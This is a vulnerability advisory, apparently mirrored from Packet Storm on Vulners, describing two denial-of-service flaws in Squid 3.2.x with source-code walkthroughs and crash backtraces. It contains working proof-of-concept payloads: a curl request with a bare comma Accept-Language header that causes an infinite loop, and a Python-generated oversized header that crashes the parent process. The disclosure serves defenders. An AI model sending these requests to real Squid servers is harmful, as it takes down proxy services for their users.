Lucene search
K

Squid 3.x Denial Of Service

🗓️ 06 Mar 2013 00:00:00Reported by AKAT-1Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Squid 3.x Denial Of Service triggered by generating error page with specific Accept-Language heade

Code
`################################################################  
# DoS (loop, 100% cpu) strHdrAcptLangGetItem() at errorpage.cc #  
################################################################  
#  
# Authors:  
#  
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466  
# c8e74ebd8392fda4788179f9a02bb49337638e7b  
# AKAT-1  
#  
#######################################  
  
# Versions: 3.2.5, 3.2.7   
  
  
This error is only triggered when squid needs to generate an error page (for example backend node is not responding etc...)  
POC (request):  
-- cut --  
GET http://127.0.0.1:1/foo HTTP/1.1  
Accept-Language: ,  
-- cut --  
  
e.g : curl -H "Accept-Language: ," http://localhost:3129/  
  
Code:  
  
strHdrAcptLangGetItem is called with pos equals 0, therefore first branch  
in if (316 line) is taken, because xisspace(hdr[pos]) is false, then pos++  
is not executed (because hdr[0] is ','). In 335 line statement in while is  
also false because hdr[0] = ',', so whole loop body is omited. dt = lang,  
thus after assignment in 353 line *lang == '\0', so expression in if  
statement in 357 line is false. So next execution of while body (314 line),  
has got same preconditions as previous, thus it's infinite loop.  
  
312 bool strHdrAcptLangGetItem(const String &hdr, char *lang, int langLen, size_t &pos)  
313 {  
314 while (pos < hdr.size()) {  
315 char *dt = lang;  
  
316 if (!pos) {  
317 /* skip any initial whitespace. */  
318 while (pos < hdr.size() && xisspace(hdr[pos]))  
319 ++pos;  
320 } else {  
321 // IFF we terminated the tag on whitespace or ';' we need to skip to the next ',' or end of header.  
322 while (pos < hdr.size() && hdr[pos] != ',')  
323 ++pos;  
324 if (hdr[pos] == ',')  
325 ++pos;  
326 }  
  
327 /*  
328 * Header value format:  
329 * - sequence of whitespace delimited tags  
330 * - each tag may suffix with ';'.* which we can ignore.  
331 * - IFF a tag contains only two characters we can wildcard ANY translations matching: <it> '-'? .*  
332 * with preference given to an exact match.  
333 */  
334 bool invalid_byte = false;  
335 while (pos < hdr.size() && hdr[pos] != ';' && hdr[pos] != ',' && !xisspace(hdr[pos]) && dt < (lang + (langLen -1)) ) {  
336 if (!invalid_byte) {  
337 #if USE_HTTP_VIOLATIONS  
338 // if accepting violations we may as well accept some broken browsers  
339 // which may send us the right code, wrong ISO formatting.  
340 if (hdr[pos] == '_')  
341 *dt = '-';  
342 else  
343 #endif  
344 *dt = xtolower(hdr[pos]);  
345 // valid codes only contain A-Z, hyphen (-) and *  
346 if (*dt != '-' && *dt != '*' && (*dt < 'a' || *dt > 'z') )  
347 invalid_byte = true;  
348 else  
349 ++dt; // move to next destination byte.  
350 }  
351 ++pos;  
352 }  
353 *dt = '\0'; // nul-terminated the filename content string before system use.  
354 ++dt;  
  
355 debugs(4, 9, HERE << "STATE: dt='" << dt << "', lang='" << lang << "', pos=" << pos << ", buf='" << ((pos < hdr.size()) ? hdr.substr(pos,hdr.size()) : "") << "'");  
  
356 /* if we found anything we might use, try it. */  
357 if (*lang != '\0' && !invalid_byte)  
358 return true;  
359 }  
360 return false;  
361 }  
  
EOF  
  
=========================================================================  
  
  
##############################################################  
# httpMakeVaryMark() header value 'value' (http.cc:603 line) #  
##############################################################  
#  
# Authors:  
#  
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466  
# c8e74ebd8392fda4788179f9a02bb49337638e7b  
# AKAT-1  
#  
#######################################  
  
# Versions: 3.2.5  
  
It takes combination of a 5x requests and responses in less than 10 seconds to crash the parent:  
Request  
-- cut --  
#!/usr/bin/env python  
print 'GET /index.html HTTP/1.1'  
print 'Host: localhost'  
print 'X-HEADSHOT: ' + '%XX' * 19000  
print '\r\n\r\n'  
-- cut --  
  
Response  
-- cut --  
HTTP/1.1 200 OK  
Vary: X-HEADSHOT  
-- cut --  
  
Code:  
  
In function httpMakeVaryMark() header value 'value' (http.cc:603 line) of the request is  
passed to rfc1738_escape_part() (rfc1738.c: 145 line) function, which escapes in POC example  
percent signs. This mean that the single charachter in request is now triple in length  
(e.g. '%' is now '%25'), thus 'X-HEADSHOT' header leangth from POC is now 57000 + (19000*2).  
  
This causes the 'value' length to be greater than 65536 (String.cc: 198 line) and the assert  
is invoked, which kills the child. When child is killed the Kid::stop() is called, which  
increments the 'badFailures' counter (Kid.cc:57 line). If the counter is greater than 4,  
then hopeless() function is called (src/ipc/Kid.cc:75 line), which terminates the main  
process of squid (parent) with the following message:  
"Squid Parent: (squid-1) process 8308 will not be restarted due to repeated, frequent failures"  
  
src/http.cc:  
573 httpMakeVaryMark(HttpRequest * request, HttpReply const * reply)  
574 {  
575 String vary, hdr;  
576 const char *pos = NULL;  
577 const char *item;  
578 const char *value;  
579 int ilen;  
580 static String vstr;  
581  
582 vstr.clean();  
583 vary = reply->header.getList(HDR_VARY);  
584  
585 while (strListGetItem(&vary, ',', &item, &ilen, &pos)) {  
586 char *name = (char *)xmalloc(ilen + 1);  
587 xstrncpy(name, item, ilen + 1);  
588 Tolower(name);  
589  
590 if (strcmp(name, "*") == 0) {  
591 /* Can not handle "Vary: *" withtout ETag support */  
592 safe_free(name);  
593 vstr.clean();  
594 break;  
595 }  
596  
597 strListAdd(&vstr, name, ',');  
598 hdr = request->header.getByName(name);  
599 safe_free(name);  
600 value = hdr.termedBuf();  
601  
602 if (value) {  
603 value = rfc1738_escape_part(value);  
604 vstr.append("=\"", 2);  
605 vstr.append(value);  
606 vstr.append("\"", 1);  
607 }  
  
lib/rfc1738.c:  
143 /* Do the triplet encoding, or just copy the char */  
144 if (do_escape == 1) {  
145 (void) snprintf(dst, (bufsize-(dst-buf)), "%%%02X", (unsigned char) *src);  
146 dst += sizeof(char) * 2;  
147 } else {  
148 *dst = *src;  
149 }  
  
src/String.cc:  
186 String::append( char const *str, int len)  
187 {  
188 assert(this);  
189 assert(str && len >= 0);  
190  
191 PROF_start(StringAppend);  
192 if (len_ + len < size_) {  
193 strncat(buf_, str, len);  
194 len_ += len;  
195 } else {  
196 // Create a temporary string and absorb it later.  
197 String snew;  
198 assert(len_ + len < 65536); // otherwise snew.len_ overflows below  
199 snew.len_ = len_ + len;  
200 snew.allocBuffer(snew.len_ + 1);  
201  
202 if (len_)  
203 memcpy(snew.buf_, rawBuf(), len_);  
204  
205 if (len)  
206 memcpy(snew.buf_ + len_, str, len);  
207  
208 snew.buf_[snew.len_] = '\0';  
209  
210 absorb(snew);  
211 }  
212 PROF_stop(StringAppend);  
213 }  
  
src/ipc/Kid.cc:  
46 /// called when kid terminates, sets exiting status  
47 void Kid::stop(status_type exitStatus)  
48 {  
49 assert(running());  
50 assert(startTime != 0);  
51  
52 isRunning = false;  
53  
54 time_t stop_time;  
55 time(&stop_time);  
56 if ((stop_time - startTime) < fastFailureTimeLimit)  
57 ++badFailures;  
58 else  
59 badFailures = 0; // the failures are not "frequent" [any more]  
60  
61 status = exitStatus;  
62 }  
70 /// returns true if master process should restart this kid  
71 bool Kid::shouldRestart() const  
72 {  
73 return !(running() ||  
74 exitedHappy() ||  
75 hopeless() ||  
76 shutting_down ||  
77 signaled(SIGKILL) || // squid -k kill  
78 signaled(SIGINT) || // unexpected forced shutdown  
79 signaled(SIGTERM)); // unexpected forced shutdown  
80 }  
  
src/ipc/Kid.h:  
23 /// keep restarting until the number of bad failures exceed this limit  
24 enum { badFailureLimit = 4 };  
25  
26 /// slower start failures are not "frequent enough" to be counted as "bad"  
27 enum { fastFailureTimeLimit = 10 }; // seconds  
  
  
  
# BONUS POINT ;-)   
# Well, we think that in squid 2.7.Stable9 this is not cought in assert... *cough*  
  
  
#3 0x00007f9fd8cead76 in malloc_printerr (action=3, str=0x7f9fd8dbfc14 "malloc(): memory corruption", ptr=<optimized out>) at malloc.c:6283  
#16 0x00000000004874df in httpMakeVaryMark (request=0x42cf1410, reply=0x37d7c10) at http.c:397  
and   
#3 0x00007ff741a56d76 in malloc_printerr (action=3, str=0x7ff741b2f228 "double free or corruption (out)", ptr=<optimized out>) at malloc.c:6283  
#9 0x00000000004874df in httpMakeVaryMark (request=0x1f2dd20, reply=0x2bf6a90) at http.c:397  
and   
#3 0x00007f090d3add76 in malloc_printerr (action=3, str=0x7f090d486270 "free(): corrupted unsorted chunks", ptr=<optimized out>) at malloc.c:6283  
#9 0x00000000004874df in httpMakeVaryMark (request=0x371daf50, reply=0x373883a0) at http.c:397  
and   
#3 0x00007f609df68d76 in malloc_printerr (action=3, str=0x7f609e0411b8 "free(): invalid next size (normal)", ptr=<optimized out>) at malloc.c:6283  
#9 0x0000000000487507 in httpMakeVaryMark (request=0x8c2d1df0, reply=0x8850c050) at http.c:398  
EOF  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Mar 2013 00:00Current
7.4High risk
Vulners AI Score7.4
29